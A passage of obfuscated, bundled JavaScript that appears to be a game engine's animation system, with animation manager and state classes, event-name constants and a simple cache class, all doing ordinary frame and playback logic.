_0x5dbe38(0xc668), _0x46e866 = _0x5dbe38(0x124bf), _0x4ec6f3 = _0x5dbe38(0x20fb), _0x18cfbf = _0x5dbe38(0x17534), _0x3beffc = _0x5dbe38(0x8952), _0x22af4b = _0x5dbe38(0x8e1f), _0xd169 = _0x5dbe38(0x4f3b), _0x8b58d0 = _0x5dbe38(0xa36c), _0x5a8b8b = new _0x1b5208({ 'Extends': _0x41cc0e, 'initialize': function (_0xe69628) { _0x41cc0e['call'](this), this['game'] = _0xe69628, this['textureManager'] = null, this['globalTimeScale'] = 0x1, this['anims'] = new _0x172b05(), this['mixes'] = new _0x172b05(), this['paused'] = !0x1, this['name'] = 'AnimationManager', _0xe69628['events']['once'](_0x4ec6f3['BOOT'], this['boot'], this); }, 'boot': function () { this['textureManager'] = this['game']['textures'], this['game']['events']['once'](_0x4ec6f3['DESTROY'], this['destroy'], this); }, 'addMix': function (_0xf969b9, _0x3196c2, _0x2e0c87) { var _0x23c5ac = this['anims'], _0x71f561 = this['mixes'], _0x45626a = 'string' == typeof _0xf969b9 ? _0xf969b9 : _0xf969b9['key'], _0x205eb7 = 'string' == typeof _0x3196c2 ? _0x3196c2 : _0x3196c2['key']; if (_0x23c5ac['has'](_0x45626a) && _0x23c5ac['has'](_0x205eb7)) { var _0x520af8 = _0x71f561['get'](_0x45626a); _0x520af8 || (_0x520af8 = {}), _0x520af8[_0x205eb7] = _0x2e0c87, _0x71f561['set'](_0x45626a, _0x520af8); } return this; }, 'removeMix': function (_0x3f4fe4, _0x12fb68) { var _0x5dcc4c = this['mixes'], _0x2e37c1 = 'string' == typeof _0x3f4fe4 ? _0x3f4fe4 : _0x3f4fe4['key'], _0x83bc1d = _0x5dcc4c['get'](_0x2e37c1); if (_0x83bc1d) { if (_0x12fb68) { var _0x2b49c5 = 'string' == typeof _0x12fb68 ? _0x12fb68 : _0x12fb68['key']; _0x83bc1d['hasOwnProperty'](_0x2b49c5) && delete _0x83bc1d[_0x2b49c5]; } else _0x12fb68 || _0x5dcc4c['delete'](_0x2e37c1); } return this; }, 'getMix': function (_0x22b187, _0x3f02d3) { var _0x2b0260 = this['mixes'], _0x102ecc = 'string' == typeof _0x22b187 ? _0x22b187 : _0x22b187['key'], _0xca0dc9 = 'string' == typeof _0x3f02d3 ? _0x3f02d3 : _0x3f02d3['key'], _0x2b844d = _0x2b0260['get'](_0x102ecc); return _0x2b844d && _0x2b844d['hasOwnProperty'](_0xca0dc9) ? _0x2b844d[_0xca0dc9] : 0x0; }, 'add': function (_0x10a214, _0xfe6581) { return this['anims']['has'](_0x10a214) || (_0xfe6581['key'] = _0x10a214, this['anims']['set'](_0x10a214, _0xfe6581), this['emit'](_0x46e866['ADD_ANIMATION'], _0x10a214, _0xfe6581)), this; }, 'exists': function (_0x41d131) { return this['anims']['has'](_0x41d131); }, 'createFromAseprite': function (_0x526e0f, _0x577e25, _0x1de4e9) { var _0x44a76f = [], _0x6e2c69 = this['game']['cache']['json']['get'](_0x526e0f); if (!_0x6e2c69) return _0x44a76f; var _0x17c800 = this, _0xb074fb = _0x3beffc(_0x6e2c69, 'meta', null), _0x512eaf = _0x3beffc(_0x6e2c69, 'frames', null); return _0xb074fb && _0x512eaf && _0x3beffc(_0xb074fb, 'frameTags', [])['forEach'](function (_0x1603f2) { var _0x58bf47 = [], _0x14ba70 = _0x18cfbf(_0x1603f2, 'name', null), _0x345ddb = _0x18cfbf(_0x1603f2, 'from', 0x0), _0x1a979e = _0x18cfbf(_0x1603f2, 'to', 0x0), _0x5a9781 = _0x18cfbf(_0x1603f2, 'direction', 'forward'); if (_0x14ba70 && (!_0x577e25 || _0x577e25 && _0x577e25['indexOf'](_0x14ba70) > -0x1)) { for (var _0x371b2c = 0x0, _0x56492b = _0x345ddb; _0x56492b <= _0x1a979e; _0x56492b++) { var _0x35117e = _0x56492b['toString'](), _0x44dccb = _0x512eaf[_0x35117e]; if (_0x44dccb) { var _0x15482e = _0x18cfbf(_0x44dccb, 'duration', _0x22af4b['MAX_SAFE_INTEGER']); _0x58bf47['push']({ 'key': _0x526e0f, 'frame': _0x35117e, 'duration': _0x15482e }), _0x371b2c += _0x15482e; } } 'reverse' === _0x5a9781 && (_0x58bf47 = _0x58bf47['reverse']()); var _0x4a1cfc, _0x37c889 = { 'key': _0x14ba70, 'frames': _0x58bf47, 'duration': _0x371b2c, 'yoyo': 'pingpong' === _0x5a9781 }; _0x1de4e9 ? _0x1de4e9['anims'] && (_0x4a1cfc = _0x1de4e9['anims']['create'](_0x37c889)) : _0x4a1cfc = _0x17c800['create'](_0x37c889), _0x4a1cfc && _0x44a76f['push'](_0x4a1cfc); } }), _0x44a76f; }, 'create': function (_0x2da0d7) { var _0xab6412 = _0x2da0d7['key'], _0x57fd78 = !0x1; return _0xab6412 && ((_0x57fd78 = this['get'](_0xab6412)) || (_0x57fd78 = new _0x44d0ae(this, _0xab6412, _0x2da0d7), this['anims']['set'](_0xab6412, _0x57fd78), this['emit'](_0x46e866['ADD_ANIMATION'], _0xab6412, _0x57fd78))), _0x57fd78; }, 'fromJSON': function (_0x1df631, _0x5ae244) { void 0x0 === _0x5ae244 && (_0x5ae244 = !0x1), _0x5ae244 && this['anims']['clear'](), 'string' == typeof _0x1df631 && (_0x1df631 = JSON['parse'](_0x1df631)); var _0x1992ee = []; if (_0x1df631['hasOwnProperty']('anims') && Array['isArray'](_0x1df631['anims'])) { for (var _0x17a523 = 0x0; _0x17a523 < _0x1df631['anims']['length']; _0x17a523++)_0x1992ee['push'](this['create'](_0x1df631['anims'][_0x17a523])); _0x1df631['hasOwnProperty']('globalTimeScale') && (this['globalTimeScale'] = _0x1df631['globalTimeScale']); } else _0x1df631['hasOwnProperty']('key') && 'frame' === _0x1df631['type'] && _0x1992ee['push'](this['create'](_0x1df631)); return _0x1992ee; }, 'generateFrameNames': function (_0x534931, _0x298cbf) { var _0x19edd5 = _0x3beffc(_0x298cbf, 'prefix', ''), _0x3c529b = _0x3beffc(_0x298cbf, 'start', 0x0), _0x29d623 = _0x3beffc(_0x298cbf, 'end', 0x0), _0x57d2d8 = _0x3beffc(_0x298cbf, 'suffix', ''), _0x4cf25c = _0x3beffc(_0x298cbf, 'zeroPad', 0x0), _0x583510 = _0x3beffc(_0x298cbf, 'outputArray', []), _0x1427bd = _0x3beffc(_0x298cbf, 'frames', !0x1); if (!this['textureManager']['exists'](_0x534931)) return _0x583510; var _0x491ca7, _0x525c42 = this['textureManager']['get'](_0x534931); if (!_0x525c42) return _0x583510; if (_0x298cbf) for (_0x1427bd || (_0x1427bd = _0xd169(_0x3c529b, _0x29d623)), _0x491ca7 = 0x0; _0x491ca7 < _0x1427bd['length']; _0x491ca7++) { var _0x105068 = _0x19edd5 + _0x8b58d0(_0x1427bd[_0x491ca7], _0x4cf25c, '0', 0x1) + _0x57d2d8; _0x525c42['has'](_0x105068) && _0x583510['push']({ 'key': _0x534931, 'frame': _0x105068 }); } else { for (_0x1427bd = _0x525c42['getFrameNames'](), _0x491ca7 = 0x0; _0x491ca7 < _0x1427bd['length']; _0x491ca7++)_0x583510['push']({ 'key': _0x534931, 'frame': _0x1427bd[_0x491ca7] }); } return _0x583510; }, 'generateFrameNumbers': function (_0x4c5254, _0x1f285b) { var _0x28098a = _0x3beffc(_0x1f285b, 'start', 0x0), _0x44e1f5 = _0x3beffc(_0x1f285b, 'end', -0x1), _0x2d6c48 = _0x3beffc(_0x1f285b, 'first', !0x1), _0x161ee9 = _0x3beffc(_0x1f285b, 'outputArray', []), _0x28101a = _0x3beffc(_0x1f285b, 'frames', !0x1); if (!this['textureManager']['exists'](_0x4c5254)) return _0x161ee9; var _0x31e91a = this['textureManager']['get'](_0x4c5254); if (!_0x31e91a) return _0x161ee9; _0x2d6c48 && _0x31e91a['has'](_0x2d6c48) && _0x161ee9['push']({ 'key': _0x4c5254, 'frame': _0x2d6c48 }), _0x28101a || (-0x1 === _0x44e1f5 && (_0x44e1f5 = _0x31e91a['frameTotal'] - 0x2), _0x28101a = _0xd169(_0x28098a, _0x44e1f5)); for (var _0x4a481e = 0x0; _0x4a481e < _0x28101a['length']; _0x4a481e++) { var _0x51d9c5 = _0x28101a[_0x4a481e]; _0x31e91a['has'](_0x51d9c5) && _0x161ee9['push']({ 'key': _0x4c5254, 'frame': _0x51d9c5 }); } return _0x161ee9; }, 'get': function (_0x2cb728) { return this['anims']['get'](_0x2cb728); }, 'getAnimsFromTexture': function (_0x58711d) { for (var _0x230551 = this['textureManager']['get'](_0x58711d)['key'], _0xdcbd8e = this['anims']['getArray'](), _0x5f6f63 = [], _0x138287 = 0x0; _0x138287 < _0xdcbd8e['length']; _0x138287++)for (var _0x54310d = _0xdcbd8e[_0x138287], _0x307225 = _0x54310d['frames'], _0x1b544f = 0x0; _0x1b544f < _0x307225['length']; _0x1b544f++)if (_0x307225[_0x1b544f]['textureKey'] === _0x230551) { _0x5f6f63['push'](_0x54310d['key']); break; } return _0x5f6f63; }, 'pauseAll': function () { return this['paused'] || (this['paused'] = !0x0, this['emit'](_0x46e866['PAUSE_ALL'])), this; }, 'play': function (_0x13af66, _0x5d0c81) { Array['isArray'](_0x5d0c81) || (_0x5d0c81 = [_0x5d0c81]); for (var _0x3b8043 = 0x0; _0x3b8043 < _0x5d0c81['length']; _0x3b8043++)_0x5d0c81[_0x3b8043]['anims']['play'](_0x13af66); return this; }, 'staggerPlay': function (_0x4605d5, _0x5a8744, _0x3c312a, _0x2999b1) { void 0x0 === _0x3c312a && (_0x3c312a = 0x0), void 0x0 === _0x2999b1 && (_0x2999b1 = !0x0), Array['isArray'](_0x5a8744) || (_0x5a8744 = [_0x5a8744]); var _0x4a6abf = _0x5a8744['length']; _0x2999b1 || _0x4a6abf--; for (var _0x2dbe11 = 0x0; _0x2dbe11 < _0x5a8744['length']; _0x2dbe11++) { var _0x15ee30 = _0x3c312a < 0x0 ? Math['abs'](_0x3c312a) * (_0x4a6abf - _0x2dbe11) : _0x3c312a * _0x2dbe11; _0x5a8744[_0x2dbe11]['anims']['playAfterDelay'](_0x4605d5, _0x15ee30); } return this; }, 'remove': function (_0x25b41a) { var _0x2b23a4 = this['get'](_0x25b41a); return _0x2b23a4 && (this['emit'](_0x46e866['REMOVE_ANIMATION'], _0x25b41a, _0x2b23a4), this['anims']['delete'](_0x25b41a), this['removeMix'](_0x25b41a)), _0x2b23a4; }, 'resumeAll': function () { return this['paused'] && (this['paused'] = !0x1, this['emit'](_0x46e866['RESUME_ALL'])), this; }, 'toJSON': function (_0x418027) { var _0x165a5 = { 'anims': [], 'globalTimeScale': this['globalTimeScale'] }; return void 0x0 !== _0x418027 && '' !== _0x418027 ? _0x165a5['anims']['push'](this['anims']['get'](_0x418027)['toJSON']()) : this['anims']['each'](function (_0x1e4a47, _0x330c2d) { _0x165a5['anims']['push'](_0x330c2d['toJSON']()); }), _0x165a5; }, 'destroy': function () { this['anims']['clear'](), this['mixes']['clear'](), this['textureManager'] = null, this['game'] = null; } }); _0x59352d['exports'] = _0x5a8b8b; }, 0x25ca: (_0x56f33c, _0x44e2b6, _0x14d976) => { var _0x179d64 = _0x14d976(0xa473), _0x592e48 = _0x14d976(0x7900), _0x1077a8 = _0x14d976(0x145db), _0x400240 = _0x14d976(0x160da), _0x40bcf3 = _0x14d976(0x124bf), _0x468521 = _0x14d976(0x17534), _0xb10da1 = new _0x1077a8({ 'initialize': function (_0x133312) { this['parent'] = _0x133312, this['animationManager'] = _0x133312['scene']['sys']['anims'], this['animationManager']['on'](_0x40bcf3['REMOVE_ANIMATION'], this['globalRemove'], this), this['textureManager'] = this['animationManager']['textureManager'], this['anims'] = null, this['isPlaying'] = !0x1, this['hasStarted'] = !0x1, this['currentAnim'] = null, this['currentFrame'] = null, this['nextAnim'] = null, this['nextAnimsQueue'] = [], this['timeScale'] = 0x1, this['frameRate'] = 0x0, this['duration'] = 0x0, this['msPerFrame'] = 0x0, this['skipMissedFrames'] = !0x0, this['randomFrame'] = !0x1, this['delay'] = 0x0, this['repeat'] = 0x0, this['repeatDelay'] = 0x0, this['yoyo'] = !0x1, this['showBeforeDelay'] = !0x1, this['showOnStart'] = !0x1, this['hideOnComplete'] = !0x1, this['forward'] = !0x0, this['inReverse'] = !0x1, this['accumulator'] = 0x0, this['nextTick'] = 0x0, this['delayCounter'] = 0x0, this['repeatCounter'] = 0x0, this['pendingRepeat'] = !0x1, this['_paused'] = !0x1, this['_wasPlaying'] = !0x1, this['_pendingStop'] = 0x0, this['_pendingStopValue']; }, 'chain': function (_0x47f16f) { var _0x505f58 = this['parent']; if (void 0x0 === _0x47f16f) return this['nextAnimsQueue']['length'] = 0x0, this['nextAnim'] = null, _0x505f58; Array['isArray'](_0x47f16f) || (_0x47f16f = [_0x47f16f]); for (var _0x32ac3f = 0x0; _0x32ac3f < _0x47f16f['length']; _0x32ac3f++) { var _0x518094 = _0x47f16f[_0x32ac3f]; this['nextAnim'] ? this['nextAnimsQueue']['push'](_0x518094) : this['nextAnim'] = _0x518094; } return this['parent']; }, 'getName': function () { return this['currentAnim'] ? this['currentAnim']['key'] : ''; }, 'getFrameName': function () { return this['currentFrame'] ? this['currentFrame']['textureFrame'] : ''; }, 'load': function (_0x38977e) { this['isPlaying'] && this['stop'](); var _0x36e844 = this['animationManager'], _0x25c7d8 = 'string' == typeof _0x38977e ? _0x38977e : _0x468521(_0x38977e, 'key', null), _0x3bacb8 = this['exists'](_0x25c7d8) ? this['get'](_0x25c7d8) : _0x36e844['get'](_0x25c7d8); if (_0x3bacb8) { this['currentAnim'] = _0x3bacb8; var _0x747bc2 = _0x3bacb8['getTotalFrames'](), _0x37e710 = _0x468521(_0x38977e, 'frameRate', _0x3bacb8['frameRate']), _0x98ed6d = _0x468521(_0x38977e, 'duration', _0x3bacb8['duration']); _0x3bacb8['calculateDuration'](this, _0x747bc2, _0x98ed6d, _0x37e710), this['delay'] = _0x468521(_0x38977e, 'delay', _0x3bacb8['delay']), this['repeat'] = _0x468521(_0x38977e, 'repeat', _0x3bacb8['repeat']), this['repeatDelay'] = _0x468521(_0x38977e, 'repeatDelay', _0x3bacb8['repeatDelay']), this['yoyo'] = _0x468521(_0x38977e, 'yoyo', _0x3bacb8['yoyo']), this['showBeforeDelay'] = _0x468521(_0x38977e, 'showBeforeDelay', _0x3bacb8['showBeforeDelay']), this['showOnStart'] = _0x468521(_0x38977e, 'showOnStart', _0x3bacb8['showOnStart']), this['hideOnComplete'] = _0x468521(_0x38977e, 'hideOnComplete', _0x3bacb8['hideOnComplete']), this['skipMissedFrames'] = _0x468521(_0x38977e, 'skipMissedFrames', _0x3bacb8['skipMissedFrames']), this['randomFrame'] = _0x468521(_0x38977e, 'randomFrame', _0x3bacb8['randomFrame']), this['timeScale'] = _0x468521(_0x38977e, 'timeScale', this['timeScale']); var _0x1b2709 = _0x468521(_0x38977e, 'startFrame', 0x0); _0x1b2709 > _0x747bc2 && (_0x1b2709 = 0x0), this['randomFrame'] && (_0x1b2709 = _0x592e48(0x0, _0x747bc2 - 0x1)); var _0x12ff0a = _0x3bacb8['frames'][_0x1b2709]; 0x0 !== _0x1b2709 || this['forward'] || (_0x12ff0a = _0x3bacb8['getLastFrame']()), this['currentFrame'] = _0x12ff0a; } return this['parent']; }, 'pause': function (_0x83fd0c) { return this['_paused'] || (this['_paused'] = !0x0, this['_wasPlaying'] = this['isPlaying'], this['isPlaying'] = !0x1), void 0x0 !== _0x83fd0c && this['setCurrentFrame'](_0x83fd0c), this['parent']; }, 'resume': function (_0x2798f6) { return this['_paused'] && (this['_paused'] = !0x1, this['isPlaying'] = this['_wasPlaying']), void 0x0 !== _0x2798f6 && this['setCurrentFrame'](_0x2798f6), this['parent']; }, 'playAfterDelay': function (_0x429135, _0x5b17d9) { if (this['isPlaying']) { var _0x37f569 = this['nextAnim'], _0x25691c = this['nextAnimsQueue']; _0x37f569 && _0x25691c['unshift'](_0x37f569), this['nextAnim'] = _0x429135, this['_pendingStop'] = 0x1, this['_pendingStopValue'] = _0x5b17d9; } else this['delayCounter'] = _0x5b17d9, this['play'](_0x429135, !0x0); return this['parent']; }, 'playAfterRepeat': function (_0x11f545, _0x3529df) { if (void 0x0 === _0x3529df && (_0x3529df = 0x1), this['isPlaying']) { var _0x593750 = this['nextAnim'], _0x41e9b8 = this['nextAnimsQueue']; _0x593750 && _0x41e9b8['unshift'](_0x593750), -0x1 !== this['repeatCounter'] && _0x3529df > this['repeatCounter'] && (_0x3529df = this['repeatCounter']), this['nextAnim'] = _0x11f545, this['_pendingStop'] = 0x2, this['_pendingStopValue'] = _0x3529df; } else this['play'](_0x11f545); return this['parent']; }, 'play': function (_0x40e8e2, _0x4555bc) { void 0x0 === _0x4555bc && (_0x4555bc = !0x1); var _0x32361c = this['currentAnim'], _0xec6152 = this['parent'], _0x461c05 = 'string' == typeof _0x40e8e2 ? _0x40e8e2 : _0x40e8e2['key']; if (_0x4555bc && this['isPlaying'] && _0x32361c['key'] === _0x461c05) return _0xec6152; if (_0x32361c && this['isPlaying']) { var _0x490473 = this['animationManager']['getMix'](_0x32361c['key'], _0x40e8e2); if (_0x490473 > 0x0) return this['playAfterDelay'](_0x40e8e2, _0x490473); } return this['forward'] = !0x0, this['inReverse'] = !0x1, this['_paused'] = !0x1, this['_wasPlaying'] = !0x0, this['startAnimation'](_0x40e8e2); }, 'playReverse': function (_0x3e88ad, _0xa409e1) { void 0x0 === _0xa409e1 && (_0xa409e1 = !0x1); var _0x5593bf = 'string' == typeof _0x3e88ad ? _0x3e88ad : _0x3e88ad['key']; return _0xa409e1 && this['isPlaying'] && this['currentAnim']['key'] === _0x5593bf ? this['parent'] : (this['forward'] = !0x1, this['inReverse'] = !0x0, this['_paused'] = !0x1, this['_wasPlaying'] = !0x0, this['startAnimation'](_0x3e88ad)); }, 'startAnimation': function (_0xdb636a) { this['load'](_0xdb636a); var _0x277722 = this['currentAnim'], _0x32c731 = this['parent']; return _0x277722 ? (this['repeatCounter'] = -0x1 === this['repeat'] ? Number['MAX_VALUE'] : this['repeat'], _0x277722['getFirstTick'](this), this['isPlaying'] = !0x0, this['pendingRepeat'] = !0x1, this['hasStarted'] = !0x1, this['_pendingStop'] = 0x0, this['_pendingStopValue'] = 0x0, this['_paused'] = !0x1, this['delayCounter'] += this['delay'], 0x0 === this['delayCounter'] ? this['handleStart']() : this['showBeforeDelay'] && this['setCurrentFrame'](this['currentFrame']), _0x32c731) : _0x32c731; }, 'handleStart': function () { this['showOnStart'] && this['parent']['setVisible'](!0x0), this['setCurrentFrame'](this['currentFrame']), this['hasStarted'] = !0x0, this['emitEvents'](_0x40bcf3['ANIMATION_START']); }, 'handleRepeat': function () { this['pendingRepeat'] = !0x1, this['emitEvents'](_0x40bcf3['ANIMATION_REPEAT']); }, 'handleStop': function () { this['_pendingStop'] = 0x0, this['isPlaying'] = !0x1, this['emitEvents'](_0x40bcf3['ANIMATION_STOP']); }, 'handleComplete': function () { this['_pendingStop'] = 0x0, this['isPlaying'] = !0x1, this['hideOnComplete'] && this['parent']['setVisible'](!0x1), this['emitEvents'](_0x40bcf3['ANIMATION_COMPLETE'], _0x40bcf3['ANIMATION_COMPLETE_KEY']); }, 'emitEvents': function (_0x514e65, _0x8e72dc) { var _0x248597 = this['currentAnim']; if (_0x248597) { var _0x4235fa = this['currentFrame'], _0x2981e5 = this['parent'], _0x2eecba = _0x4235fa['textureFrame']; _0x2981e5['emit'](_0x514e65, _0x248597, _0x4235fa, _0x2981e5, _0x2eecba), _0x8e72dc && _0x2981e5['emit'](_0x8e72dc + _0x248597['key'], _0x248597, _0x4235fa, _0x2981e5, _0x2eecba); } }, 'reverse': function () { return this['isPlaying'] && (this['inReverse'] = !this['inReverse'], this['forward'] = !this['forward']), this['parent']; }, 'getProgress': function () { var _0x2f1fd2 = this['currentFrame']; if (!_0x2f1fd2) return 0x0; var _0x15e43b = _0x2f1fd2['progress']; return this['inReverse'] && (_0x15e43b *= -0x1), _0x15e43b; }, 'setProgress': function (_0x4a5c71) { return this['forward'] || (_0x4a5c71 = 0x1 - _0x4a5c71), this['setCurrentFrame'](this['currentAnim']['getFrameByProgress'](_0x4a5c71)), this['parent']; }, 'setRepeat': function (_0x511dbc) { return this['repeatCounter'] = -0x1 === _0x511dbc ? Number['MAX_VALUE'] : _0x511dbc, this['parent']; }, 'globalRemove': function (_0x704b10, _0x4666ef) { void 0x0 === _0x4666ef && (_0x4666ef = this['currentAnim']), this['isPlaying'] && _0x4666ef['key'] === this['currentAnim']['key'] && (this['stop'](), this['setCurrentFrame'](this['currentAnim']['frames'][0x0])); }, 'restart': function (_0x3dacb1, _0x5330a0) { void 0x0 === _0x3dacb1 && (_0x3dacb1 = !0x1), void 0x0 === _0x5330a0 && (_0x5330a0 = !0x1); var _0x4a2056 = this['currentAnim'], _0x5086f2 = this['parent']; return _0x4a2056 ? (_0x5330a0 && (this['repeatCounter'] = -0x1 === this['repeat'] ? Number['MAX_VALUE'] : this['repeat']), _0x4a2056['getFirstTick'](this), this['emitEvents'](_0x40bcf3['ANIMATION_RESTART']), this['isPlaying'] = !0x0, this['pendingRepeat'] = !0x1, this['hasStarted'] = !_0x3dacb1, this['_pendingStop'] = 0x0, this['_pendingStopValue'] = 0x0, this['_paused'] = !0x1, this['setCurrentFrame'](_0x4a2056['frames'][0x0]), this['parent']) : _0x5086f2; }, 'complete': function () { if (this['_pendingStop'] = 0x0, this['isPlaying'] = !0x1, this['currentAnim'] && this['handleComplete'](), this['nextAnim']) { var _0x15f1e7 = this['nextAnim']; this['nextAnim'] = this['nextAnimsQueue']['length'] > 0x0 ? this['nextAnimsQueue']['shift']() : null, this['play'](_0x15f1e7); } return this['parent']; }, 'stop': function () { if (this['_pendingStop'] = 0x0, this['isPlaying'] = !0x1, this['delayCounter'] = 0x0, this['currentAnim'] && this['handleStop'](), this['nextAnim']) { var _0x1dabc1 = this['nextAnim']; this['nextAnim'] = this['nextAnimsQueue']['shift'](), this['play'](_0x1dabc1); } return this['parent']; }, 'stopAfterDelay': function (_0x4ccea1) { return this['_pendingStop'] = 0x1, this['_pendingStopValue'] = _0x4ccea1, this['parent']; }, 'stopAfterRepeat': function (_0x3dbec4) { return void 0x0 === _0x3dbec4 && (_0x3dbec4 = 0x1), -0x1 !== this['repeatCounter'] && _0x3dbec4 > this['repeatCounter'] && (_0x3dbec4 = this['repeatCounter']), this['_pendingStop'] = 0x2, this['_pendingStopValue'] = _0x3dbec4, this['parent']; }, 'stopOnFrame': function (_0x306d3f) { return this['_pendingStop'] = 0x3, this['_pendingStopValue'] = _0x306d3f, this['parent']; }, 'getTotalFrames': function () { return this['currentAnim'] ? this['currentAnim']['getTotalFrames']() : 0x0; }, 'update': function (_0xd74997, _0x54bc30) { var _0x2897e8 = this['currentAnim']; if (this['isPlaying'] && _0x2897e8 && !_0x2897e8['paused']) { if (this['accumulator'] += _0x54bc30 * this['timeScale'] * this['animationManager']['globalTimeScale'], 0x1 === this['_pendingStop'] && (this['_pendingStopValue'] -= _0x54bc30, this['_pendingStopValue'] <= 0x0)) return this['stop'](); if (this['hasStarted']) { if (this['accumulator'] >= this['nextTick'] && (this['forward'] ? _0x2897e8['nextFrame'](this) : _0x2897e8['previousFrame'](this), this['isPlaying'] && 0x0 === this['_pendingStop'] && this['skipMissedFrames'] && this['accumulator'] > this['nextTick'])) { var _0x3100b7 = 0x0; do { this['forward'] ? _0x2897e8['nextFrame'](this) : _0x2897e8['previousFrame'](this), _0x3100b7++; } while (this['isPlaying'] && this['accumulator'] > this['nextTick'] && _0x3100b7 < 0x3c); } } else this['accumulator'] >= this['delayCounter'] && (this['accumulator'] -= this['delayCounter'], this['handleStart']()); } }, 'setCurrentFrame': function (_0x5944a3) { var _0x18cf41 = this['parent']; return this['currentFrame'] = _0x5944a3, _0x18cf41['texture'] = _0x5944a3['frame']['texture'], _0x18cf41['frame'] = _0x5944a3['frame'], _0x18cf41['isCropped'] && _0x18cf41['frame']['updateCropUVs'](_0x18cf41['_crop'], _0x18cf41['flipX'], _0x18cf41['flipY']), _0x5944a3['setAlpha'] && (_0x18cf41['alpha'] = _0x5944a3['alpha']), _0x18cf41['setSizeToFrame'](), _0x18cf41['_originComponent'] && (_0x5944a3['frame']['customPivot'] ? _0x18cf41['setOrigin'](_0x5944a3['frame']['pivotX'], _0x5944a3['frame']['pivotY']) : _0x18cf41['updateDisplayOrigin']()), this['isPlaying'] && this['hasStarted'] && (this['emitEvents'](_0x40bcf3['ANIMATION_UPDATE']), 0x3 === this['_pendingStop'] && this['_pendingStopValue'] === _0x5944a3 && this['stop']()), _0x18cf41; }, 'nextFrame': function () { return this['currentAnim'] && this['currentAnim']['nextFrame'](this), this['parent']; }, 'previousFrame': function () { return this['currentAnim'] && this['currentAnim']['previousFrame'](this), this['parent']; }, 'get': function (_0x1741df) { return this['anims'] ? this['anims']['get'](_0x1741df) : null; }, 'exists': function (_0x16b7e1) { return !!this['anims'] && this['anims']['has'](_0x16b7e1); }, 'create': function (_0x2d3f52) { var _0x3a856d = _0x2d3f52['key'], _0x400562 = !0x1; return _0x3a856d && ((_0x400562 = this['get'](_0x3a856d)) || (_0x400562 = new _0x179d64(this, _0x3a856d, _0x2d3f52), this['anims'] || (this['anims'] = new _0x400240()), this['anims']['set'](_0x3a856d, _0x400562))), _0x400562; }, 'createFromAseprite': function (_0x178e7d, _0x462a2c) { return this['animationManager']['createFromAseprite'](_0x178e7d, _0x462a2c, this['parent']); }, 'generateFrameNames': function (_0x2d307b, _0x1b2c41) { return this['animationManager']['generateFrameNames'](_0x2d307b, _0x1b2c41); }, 'generateFrameNumbers': function (_0x23675d, _0x1eb879) { return this['animationManager']['generateFrameNumbers'](_0x23675d, _0x1eb879); }, 'remove': function (_0x314713) { var _0x5fd8fc = this['get'](_0x314713); return _0x5fd8fc && (this['currentAnim'] === _0x5fd8fc && this['stop'](), this['anims']['delete'](_0x314713)), _0x5fd8fc; }, 'destroy': function () { this['animationManager']['off'](_0x40bcf3['REMOVE_ANIMATION'], this['globalRemove'], this), this['anims'] && this['anims']['clear'](), this['animationManager'] = null, this['parent'] = null, this['nextAnim'] = null, this['nextAnimsQueue']['length'] = 0x0, this['currentAnim'] = null, this['currentFrame'] = null; }, 'isPaused': { 'get': function () { return this['_paused']; } } }); _0x56f33c['exports'] = _0xb10da1; }, 0xdf02: _0x46004d => { _0x46004d['exports'] = 'add'; }, 0x62e0: _0x3cc42d => { _0x3cc42d['exports'] = 'animationcomplete'; }, 0x15dec: _0x1bc4f8 => { _0x1bc4f8['exports'] = 'animationcomplete-'; }, 0xce7c: _0x4ffd4f => { _0x4ffd4f['exports'] = 'animationrepeat'; }, 0xf96a: _0x593b24 => { _0x593b24['exports'] = 'animationrestart'; }, 0x1830d: _0x41a01f => { _0x41a01f['exports'] = 'animationstart'; }, 0x6db7: _0x5fc967 => { _0x5fc967['exports'] = 'animationstop'; }, 0x702: _0x61e580 => { _0x61e580['exports'] = 'animationupdate'; }, 0xcd52: _0x522adc => { _0x522adc['exports'] = 'pauseall'; }, 0xe261: _0x236e74 => { _0x236e74['exports'] = 'remove'; }, 0x10af3: _0x1856b3 => { _0x1856b3['exports'] = 'resumeall'; }, 0x124bf: (_0x3a1f02, _0x5ed0f8, _0x1d6c5e) => { _0x3a1f02['exports'] = { 'ADD_ANIMATION': _0x1d6c5e(0xdf02), 'ANIMATION_COMPLETE': _0x1d6c5e(0x62e0), 'ANIMATION_COMPLETE_KEY': _0x1d6c5e(0x15dec), 'ANIMATION_REPEAT': _0x1d6c5e(0xce7c), 'ANIMATION_RESTART': _0x1d6c5e(0xf96a), 'ANIMATION_START': _0x1d6c5e(0x1830d), 'ANIMATION_STOP': _0x1d6c5e(0x6db7), 'ANIMATION_UPDATE': _0x1d6c5e(0x702), 'PAUSE_ALL': _0x1d6c5e(0xcd52), 'REMOVE_ANIMATION': _0x1d6c5e(0xe261), 'RESUME_ALL': _0x1d6c5e(0x10af3) }; }, 0xec05: (_0xfdeb7b, _0x25b511, _0x34a5b0) => { _0xfdeb7b['exports'] = { 'Animation': _0x34a5b0(0xa473), 'AnimationFrame': _0x34a5b0(0xa0b2), 'AnimationManager': _0x34a5b0(0xedb0), 'AnimationState': _0x34a5b0(0x25ca), 'Events': _0x34a5b0(0x124bf) }; }, 0x871: (_0x10e314, _0x568b15, _0x4cbd2b) => { var _0x23609a = _0x4cbd2b(0x145db), _0x5e64f3 = _0x4cbd2b(0x160da), _0x13eee3 = _0x4cbd2b(0xc668), _0x4d4510 = _0x4cbd2b(0x60a0), _0x50872f = new _0x23609a({ 'initialize': function () { this['entries'] = new _0x5e64f3(), this['events'] = new _0x13eee3(); }, 'add': function (_0x5b5f46, _0x219c91) { return this['entries']['set'](_0x5b5f46, _0x219c91), this['events']['emit'](_0x4d4510['ADD'], this, _0x5b5f46, _0x219c91), this; }, 'has': function (_0x451d66) { return this['entries']['has'](_0x451d66); }, 'exists': function (_0x2b6bce) { return this['entries']['has'](_0x2b6bce); }, 'get': function (_0x129c9f) { return this['entries']['get'](_0x129c9f); }, 'remove': function (_0x530e4d) { var _0x46e8a3 = this['get'](_0x530e4d); return _0x46e8a3 && (this['entries']['delete'](_0x530e4d), this['events']['emit'](_0x4d4510['REMOVE'], this, _0x530e4d, _0x46e8a3['data'])), this; }, 'getKeys': function () { return this['entries']['keys'](); }, 'destroy': function () { this['entries']['clear'](), this['events']['removeAllListeners'](), this['entries'] = null, this['events'] = null; } }); _0x10e314['exports'] = _0x50872f; }, 0x5def: (_0x167121, _0x2fe547, _0x1ee854) => { var _0xbaddea = _0x1ee854(0x871), _0x58fbee = _0x1ee854(0x145db), _0x3ebb17 = _0x1ee854(0x20fb), _0x346088 = new 